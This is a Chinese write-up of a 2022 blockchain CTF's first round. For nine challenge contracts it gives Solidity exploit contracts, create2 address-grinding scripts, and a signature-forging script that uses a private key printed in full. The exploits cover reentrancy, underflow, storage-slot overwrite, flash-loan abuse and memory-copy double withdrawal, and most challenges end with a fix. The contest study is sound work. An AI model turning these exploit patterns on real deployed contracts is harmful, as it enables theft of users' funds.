2022可信链防攻大赛初赛题解

230 阅读22分钟

代码仓库:bengda233/cangku: my sources (github.com)

第一题:

分析:

这个题很简单,满足Complete。

思路1. 我们直接调用flashLoan把token0全部借走,然后在receiveEther方法里面调用Complete,再还钱就ok了。但是这种只能短暂地满足Complete

思路2. 先借钱flashloan把一万个token0全部借走,然后在receiveEther里approve,再拿我们借的token0去换token1,这样全部的token0就还回去了,能够通过flashloan的最后000一个require.并且我们手上还拿到了token1。
再用token1去换token0,这样pool的token0的balance就为0了。

攻击合约

1.攻击合约

contract attack{
    TrusterLenderPool pool;
    Cert token0;
    constructor(address _pool,address _token0){
        pool = TrusterLenderPool(_pool);
        token0 = Cert(_token0);
    }
    function att()public{
        pool.flashLoan(100000000000000000000,address(this));
    }
    function receiveEther(uint256 borrowAmount)public{
        pool.Complete();
        token0.transfer(address(pool),borrowAmount);
    }
}

2.攻击合约

contract attack2{
    Cert public token0;
    Cert public token1;

    TrusterLenderPool public pool=TrusterLenderPool(0xdDb68Efa4Fdc889cca414C0a7AcAd3C5Cc08A8C5);

    constructor(address token0Address,address token1Address){
        token0 =Cert(token0Address);
        token1=Cert(token1Address);
    }
    function att()public {
         pool.flashLoan(10000000000000000000000,address(this));
         pool.swap(address(token0),10000000000000000000000);
          
    }
    function receiveEther(uint256 borrowAmount)public{
            token0.approve(address(pool),10000000000000000000000);
            token1.approve(address(pool),10000000000000000000000);
            pool.swap(address(token1),10000000000000000000000);
            
    }
}

修复:

在flashloan函数最后不仅要检查token1还要检查token2

第二题:

分析:

这个题的漏洞在于transferPoints方法没有对to的地址进行检验,导致我们可以不断自己给自己转积分,导致积分增加

攻击代码:

contract attack{
    SVip svip=SVip(0x27861826c09999CC4685E8E16D186CAAc821Ad95);
    function att()public {
        for(uint8 i=0;i<98;i++){
        svip.getPoint();
        }
        for(uint8 j=0;j<11;j++){
            svip.transferPoints(address(this),90);
        }
    }
    function transf()public{
        svip.transferPoints(msg.sender,999);
    }
}

修复:

在transferPoints函数里添加一行require判断是否给本地址转账的语句即可

第三题:

分析:

通过阅读代码,我们不难发现该合约是要通过merkle树实现验证用户地址是否在白名单(树)上。MerkleProof库通过叶子和路径推出根哈希,再和原本的root比较,如果一样则说明该叶子在这棵树上。

漏洞在于min函数原本应该选出最小的,这里a >b?a:b 却是选出最大的。Withdraw最后一步转移amount,balance中最小的给当前用户,但是由于min函数的错误,变成转移最大的给当前用户。 因此,我们可以利用这个漏洞转移出当前合约里所有的余额(当余额大于1时).

但是还有一个问题,我们不是部署者白名单上的地址,我们得想办法执行setMerkleroot函数改变root,生成带有我们地址的merkle树。

聚焦到onlyOwner上

image.png

结合mask的值,我们明白,只要地址满足和owner前2位一样就能通过onlyOwner

因此我们需要用create2构造和owner前2位一样的地址给攻击合约。

攻击思路及代码

先把白名单的地址列出来,然后用这几个地址加我们自己的地址生成一棵Merkel树,再把Merkel树的root传入合约进行部署。 这里我用JavaScript生成Merkel树,代码如下:

const { MerkleTree } = require('merkletreejs');
cost keccak256 = require('keccak256')

const whitelistAddress = ['0x5B38Da6a701c568545dCfcB03FcB875f56beddC4', 
'0xA5A18D604b438B405a1C5a11F1cb923DBaC7bA1B', ' 0x9470F6dE2A4787a534CD21C8E115CFE1513189DA']
const leafNodes = whitelistAddress.map((addr) => keccak256(addr))
const merkleTree = new MerkleTree(leafNodes, keccak256, { sortPairs: true })
const rootHash = merkleTree.getHexRoot()
console.log('merkleTree:', merkleTree.toString())
console.log('rootHash:', merkleTree.getHexRoot())
 
console.log("-----------------");
console.log("生成 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 proof");
 
Const proof = merkleTree.getHexProof(keccak256("0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"));
console.log("proof:",proof);  // 只有在列表中的才可以生成出proof
 
console.log("------------------");
console.log("认证 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 是否在白名单中");
const v = merkleTree.verify(proof,keccak256("0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"),rootHash);
console.log(v);

得到的结果:

image.png

create2代码:

from web3 import Web3

s1='0xffb7bb1792BBfabbA361c46DC5860940e0E1bFb4b9'

s3='c5a2488cc3d767fc5c5b071b6d4fd993d4621adab4f13c2d0c5ca38a3c82ff2e'

i=0
while(1):
  salt =hex(i)[2:].rjust(64,'0')
  s=s1+salt+s3
  hashed=Web3.sha3(hexstr = s)
  hashed_str=''.join(['%02x' %b for b in hashed])
  if 'ab' in hashed_str[24:26]:
     print(salt,hashed_str)
     break
  i+=1
  print(salt)

得到的结果salt:0000000000000000000000000000000000000000000000000000000000000052

得到攻击合约地址:ab9401c8cf35aa683cec3d664149ba015c61ed19

Deploy合约

deploy合约使用create2将攻击合约部署上去

image.png

攻击合约代码

image.png

image.png

修复:

1.min方法里将 a >b?a:b改为a<b?a:b
2.将mask改为hex"fffffffffffffffffffffffffffffffffffffffff"

第四题:

分析:

先看finish完成条件。
1.Times>=100
2.我们需要成为owner

image.png

Times>=100可以利用sell方法下溢。
owner可以通过changestatus函数里,两次外部调用不一致实现并且满足攻击合约地址后四位为ffff。 但是require(_balances[msg.sender] >= _amount); 这个限制,我们用一个账户是不行的,要再创一个账户然后把钱转给一个账户

攻击思路

1.用create2写一个攻击合约,地址后四位为ffff
2.攻击合约里重写Changing接口,使每次调用Changing里isOwner返回不一样
3.调用changestatus和changeOwner将owner拿到
4.owner转给0x220866B1A2219f40e72f5c628B65D54268cA3A9D
5.调用buy方法
6.再写一个合约,调用buy方法,再把balance全转给攻击合约 7.执行sell函数
8.在回退函数里再次调用sell函数 (此时下溢成功)
9.调用changestatus和changeOwner将owner拿到
10.执行finish

攻击代码

攻击合约:

pragma solidity ^0.5.0;
import "./OwnerBuy.sol";
contract attack{
    uint public count;
    uint public count2;
    OwnerBuy ownerbuy=OwnerBuy(0xd9145CCE52D386f254917e481eB44e9943F39138);
    function isOwner(address addr) external returns (bool){
        if (count ==0){
            count++;
            return false;
        }else{
            count--;
            return true;
        }
               
    }
     function getowner()public {
        
         ownerbuy.changestatus(address(this));
         ownerbuy.changeOwner();
     }
     function changeowner()public {
         ownerbuy.transferOwnership(0x220866B1A2219f40e72f5c628B65D54268cA3A9D);
     }
     function att1()public{   //执行前地址是0x22
         ownerbuy.buy.value(1)();     //msg.value=1wei
        
         
     }
     function white()public {//执行要把owner拿回来
          ownerbuy.setWhite(address(ownerbuy));
          ownerbuy.setWhite(address(this));
     }
     function att2()public{   
         
            ownerbuy.sell(200);
           
     }
     function finish1()public{
          ownerbuy.finish();
     }
     function money()public payable{

     }
     function()external payable{
         if (count2==0){
             count2++;
            ownerbuy.sell(200);
         }else{

         }
           
     }
}

contract attack2{
       OwnerBuy ownerbuy=OwnerBuy(0xd9145CCE52D386f254917e481eB44e9943F39138);
     function att1()public payable{
         ownerbuy.buy.value(1)();
     }
     function transf(address addr)public{
        ownerbuy.transfer(addr,ownerbuy.balanceOf(address(this)));
     }
       function money()public payable{

     }
}

create2的deployer:

contract deployer{
    bytes contractBytecode = hex"608060405273d9145cce52d386f254917e481eb44e9943f39138600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006557600080fd5b50610930806100756000396000f3fe6080604052600436106100915760003560e01c806338a396811161005957806338a39681146102555780634ddd108a1461026c57806368b8d10e14610276578063a08110741461028d578063fe0174bd146102a457610091565b806306661abd146101685780631d63e24d146101935780632ede53a3146101be5780632f54bf6e146101d5578063327aeead1461023e575b6000600154141561016557600160008154809291906001019190505550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561012457600080fd5b505af1158015610138573d6000803e3d6000fd5b505050506040513d602081101561014e57600080fd5b810190808051906020019092919050505050610166565b5b005b34801561017457600080fd5b5061017d6102bb565b6040518082815260200191505060405180910390f35b34801561019f57600080fd5b506101a86102c1565b6040518082815260200191505060405180910390f35b3480156101ca57600080fd5b506101d36102c7565b005b3480156101e157600080fd5b50610224600480360360208110156101f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061036f565b604051808215151515815260200191505060405180910390f35b34801561024a57600080fd5b506102536103b1565b005b34801561026157600080fd5b5061026a610480565b005b610274610534565b005b34801561028257600080fd5b5061028b610536565b005b34801561029957600080fd5b506102a26105e0565b005b3480156102b057600080fd5b506102b96107be565b005b60005481565b60015481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d56b28896040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561033157600080fd5b505af1158015610345573d6000803e3d6000fd5b505050506040513d602081101561035b57600080fd5b810190808051906020019092919050505050565b6000806000541415610395576000808154809291906001019190505550600090506103ac565b600080815480929190600190039190505550600190505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b73220866b1a2219f40e72f5c628b65d54268ca3a9d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561046657600080fd5b505af115801561047a573d6000803e3d6000fd5b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156104f657600080fd5b505af115801561050a573d6000803e3d6000fd5b505050506040513d602081101561052057600080fd5b810190808051906020019092919050505050565b565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a60016040518263ffffffff1660e01b81526004016020604051808303818588803b1580156105a157600080fd5b505af11580156105b5573d6000803e3d6000fd5b50505050506040513d60208110156105cc57600080fd5b810190808051906020019092919050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106a357600080fd5b505af11580156106b7573d6000803e3d6000fd5b505050506040513d60208110156106cd57600080fd5b810190808051906020019092919050505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561078057600080fd5b505af1158015610794573d6000803e3d6000fd5b505050506040513d60208110156107aa57600080fd5b810190808051906020019092919050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351ec819f306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561085f57600080fd5b505af1158015610873573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362a094776040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b5050505056fea265627a7a723158208dbc2ee0a046073718e988a165d479b12d69ba88e5ac7e6d5a3a90e14300b47664736f6c63430005110032";

    function deploy(bytes32 salt) public {
    bytes memory bytecode = contractBytecode;
    address addr;
      
    assembly {
      addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
    }
  }
    function getHash()public returns(bytes32){
      return keccak256(contractBytecode);
}
}

create2脚本:


from web3 import Web3

s1='0xff615843de4553C75Ff80519da1AfA9469141c1B02'

s3='c23b1cde3aa9fdf9cac1eba8487c18efdb47b0db8ee80dbb242645555653862b'

i=0
while(1):
  salt =hex(i)[2:].rjust(64,'0')
  s=s1+salt+s3
  hashed=Web3.sha3(hexstr = s)
  hashed_str=''.join(['%02x' %b for b in hashed])
  if 'ffff' in hashed_str[60:]:
     print(salt,hashed_str)
     break
  i+=1
  print(salt)

修复:

1.不安全的外部调用---mapping用户对应的status,直接修改为!status[msg.sender]
2.对于调用者的弱限制(create2)---加强限制或者直接指定地址(不过此处为题目考点,不做修复)
3.Selfdestruct引起的以外的ether---在智能合约中自毁引起的转账是不可控且不可避免的,可以选择添加fallback函数,调用对应deposit函数对msg.sender进行存款或直接fallback调用方法将金额转账至一个Valut合约
4.不安全的数值计算方式引起的数值下溢出---使用更新的编译器或者引用SafeMath库
5.Call调用引起的重入漏洞---对于题目这种没有实际必要的call调用可以取消,若实际需要可以选择添加重入锁,并且将必要变量的修改放置于call调用前

第五题

分析:

要求:让LostAssets合约WETH代币的余额为0

image.png

整个代码看下来唯一问题可能出现点就在depositWithPermit函数

然后我们去看permit

去看ecrecover

solidity | 签名 | ecrecover函数有什么用途? - 知乎 (zhihu.com)

然后发现这一切都没有用。。。

重新看一下这个方法: image.png

underlying根本就没有继承ERC20Permit,也就是说:MockWETH根本就没有这个方案 所以任意数据都可以执行成功depositWithPermit函数.

好的直接执行它

image.png

成功

image.png

修复:

WETH合约继承ERC20Permit

第六题

分析:

这个题主要是考的存储 完成条件:

image.png

得到admin,让gasdeposit达到9999999999999999999999999999999999。

来看这题存储:

image.png

constant有另外的存储方式,并非从slot0开始顺序排下。

slot[0]为aaaa
slot[1]为admin
slot[2]为gasDeposits的长度

setLogicContract函数中使用了StorageSlot库中的方法进行修改变量,并且使用了storage的存储方式并且还没有限制。这将导致我们可以利用此覆盖任意插槽的值。 image.png

攻击过程

setLogicContract的key相当于一个指针,contractAddress就是value。具体逻辑看StorageSlot合约。

1.将slot[1]的地址改为我们自己

image.png

查看admin,成功

image.png

2.计算gasDeposits的存储位置

contract jisuan{
    function jisuan1()public returns(bytes32){
         return keccak256(abi.encode(0x000000000000000000005B38Da6a701c568545dCfcB03FcB875f56beddC4,uint(2)));
    }
    
}

将拿到的结果,去修改slot

image.png
成功!

image.png

修复:

setLogicContract加上权限修饰

第七题

完成条件:初始化我们有100,通过要求我们的余额大于100,那么只需要我们借到钱然后在自己重写的onFlashLoan函数中调用Complete函数。

image.png

但是需要我们通过

require(ECDSAUpgradeable.recover(msgHash,v,r,s) == ECDSAUpgradeable.recover(message, signature),"Error signer!");

恢复一下他给的hash、r、s、v的地址:0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9

1.这个地址我们可以直接google直接出他的私钥:

 private_key = 0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315

2.可以去查询该地址的交易,是否有交易详情有相同的r,如果有就可以会恢复出私钥

私钥拥有了就可以算出signature。

签名生成脚本:

from eth_account import Account

messagehash = "0x24904b398df73a69c6da11c83c00fc171f3684cb6d07782c6fb333ebdea4d469"
private_key_hex="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"

signed_message = Account.signHash(message_hash=messagehash,
private_key=private_key_hex)
print("signature =",signed_message)

攻击合约:

contract FlashBorrower{
   function onFlashLoan(address initiator, address token, uint256 amount, bytes calldata data) external returns (bool){
       FlashLoanMain main=FlashLoanMain(0xd9145CCE52D386f254917e481eB44e9943F39138);
       main.Complete();
       ICert cert =ICert(0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D);
       cert.approve(0x73d5596F97950f1048b251E3e3Ee5ab888d76d37,amount);
       return true;
   }
}

执行flashloan
image.png

成功!

image.png

修复:

用未公开的私钥

第八题

这道题难度很大,特别是没有对于没有阅读过银行合约的

此题成功条件
票数大于2/3,成为ValidatorOwner。
拿到1000000成为MasterChef的owner

梳理一下代码逻辑
此题大部分逻辑在MasterChef合约里,该合约是活期存款合约。
对PoolInfo的一个解析:

image.png

UserInfo的解析:

image.png

函数解析
transferOwnership:只要钱>1000000就能转走owner
airdorp:只空投1000个
pendingSushi:计算当前你可以拿的利息
updatePool:更新池子,主要是更新利率
deposit:存钱,存钱之前会把你之前的所有利息转给你(amount现利率-amount之前利率=这段时间的利息) withdraw:取钱 emergencyWithdraw:紧急取钱,取出所有的钱,并且不会给你任何利息

漏洞分析

emergencyWithdraw里,读取pool和user时,用的memory。也就是说仅仅是读取storage作为数据,修改也只是修改memory变量,并没有实际的修改合约的storage变量,就是说我们可以无限取钱。
但是我们不能取超过合约balance的钱数,也就是只能取到1千万,但是距离我们通过的1亿一千万的三分之二(74千万)还差很远
不过,我们可以通过不同账号之间相互转钱然后vote达到要求。

攻击代码:


contract attack{
    Governance governace=Governance(0xd9145CCE52D386f254917e481eB44e9943F39138);
    MasterChef chef=MasterChef(0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D);
    //需68个helper
    helper[68] public helpers;
    constructor ()public{
        for (uint256 r=0;r<68;r++){
          helpers[r]=new helper();
        }
    }
    //拿到空投1000
     function getairdorp()public {
         for (uint256 i=0;i<500;i++){
            chef.airdorp();
         }
        
     }
     //存钱先approve
     function appr()public {
         chef.approve(address(chef),1000);
     }
     //先将1000存进去
     function att()public {
      chef.deposit(0,1000);
     }
     //紧急取钱拿到1000000    
     function  withdraw1()public{
         for(uint256 j=0;j<1000;j++){
           chef.emergencyWithdraw(0);
         }
     }
     //改变owner
     function getowner()public {
         chef.transferOwnership(address(this));
     }
     //投票
     function vote1()public {
         governace.vote(address(this));
     }
     //helper投票
     function vote2()public {
         for (uint256 i=0;i<68;i++){
             helpers[i].bollow();
         }
     }
     function flashloan() public {
         
         chef.transfer(msg.sender,chef.balanceOf(address(this)));
         helper(msg.sender).vote1();
         require(chef.balanceOf(address(this))==1000000);
     }
     //夺旗
     function finally()public{
       governace.setValidator();
       governace.setflag();
     }
}

contract helper{
     Governance governace=Governance(0xd9145CCE52D386f254917e481eB44e9943F39138);
    MasterChef chef=MasterChef(0x5C9eb5D6a6C2c1B3EFc52255C0b356f116f6f66D);
    
    //借钱
    function bollow()public{
        attack(msg.sender).flashloan();
    }

     //投票
     function vote1()public {
          chef.transferOwnership(address(this));
         governace.vote(address(msg.sender));
          return1();
     }
     //还钱回去
     function return1()public {
        chef.transfer(msg.sender,chef.balanceOf(address(this)));
     }
}

第九题

解题条件:我们手上的nft拿到288以上

image.png

这个题阅读下来让我很懵逼,为什么可以送分到这个地步?直接执行becomeAnArtist就能通过isCompleted了。

image.png

但是题是解了,漏洞还是得找找

这个题的漏洞也比较明显,就是重入。在完成铸币交易之前,我们只需要重入这个函数,即可让tokenId一直累加,一直铸币。

image.png

safeMint函数,会检查合约账户的资质,在这个检查过程中会调用调用者合约的onERC721Received函数,我们便可以通过编译攻击合约的此函数实现重入攻击

image.png

攻击思路

攻击就是通过safeMint函数会回调onERC721Received实现,只要此函数返回这个函数的选择器,合约的铸币资质就会判断成功。那么我们只需要在返回选择器之前,再次调用被攻击合约的theHope函数,即可完成递归调用,通过每次递归n变量的增长来控制递归的次数,就形成了重入攻击。

但是此攻击方式无法完成iscompleted函数,想要完成需要重入288次,但是当重入到达107次的时候gas就跑到0.073了,gas跑满也就无法执行下一次return。

但是可以看到theHope和hopeIsInSight对地址的要求是矛盾的,也就是说我们想要重入两次的话就得先找到一个不能mod88和一个可以mod88的合约地址进行两次分别调用,再把钱转到一个地址,但是即使这样,也不能达到288。

contract attack is IERC721Receiver{
    EverytingIsArt art =EverytingIsArt(0xc5a5C42992dECbae36851359345FE25997F5C42d);
    uint256 n1 =1;
 
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    )public override returns (bytes4){
       if(n1<106){
           n1++;
           
         art.theHope();
         return this.onERC721Received.selector;
        }
       
        

      return this.onERC721Received.selector;

    }
    function attack1()public {
        art.theHope();
    }

}
contract attack2 is IERC721Receiver{
    EverytingIsArt art =EverytingIsArt(0xc5a5C42992dECbae36851359345FE25997F5C42d);
    uint256 n1 =1;
 
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    )public override returns (bytes4){
       if(n1<106){
           n1++;
           
         art.hopeIsInSight();
         return this.onERC721Received.selector;
        }
       
      return this.onERC721Received.selector;

    }

    function attack()public {
        art.hopeIsInSight();
    }
    function transf()public {
       art.approve(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266,art.balanceOf(address(this)));
   }
}
contract depoly{
      attack2 public att;
    function del()public returns(address){
        for (uint i =0;i>=0;i++){
            att = new attack2();
            if (uint160(address(att))%88==0){
                break;
            }
        }
        return address(att);
    }
}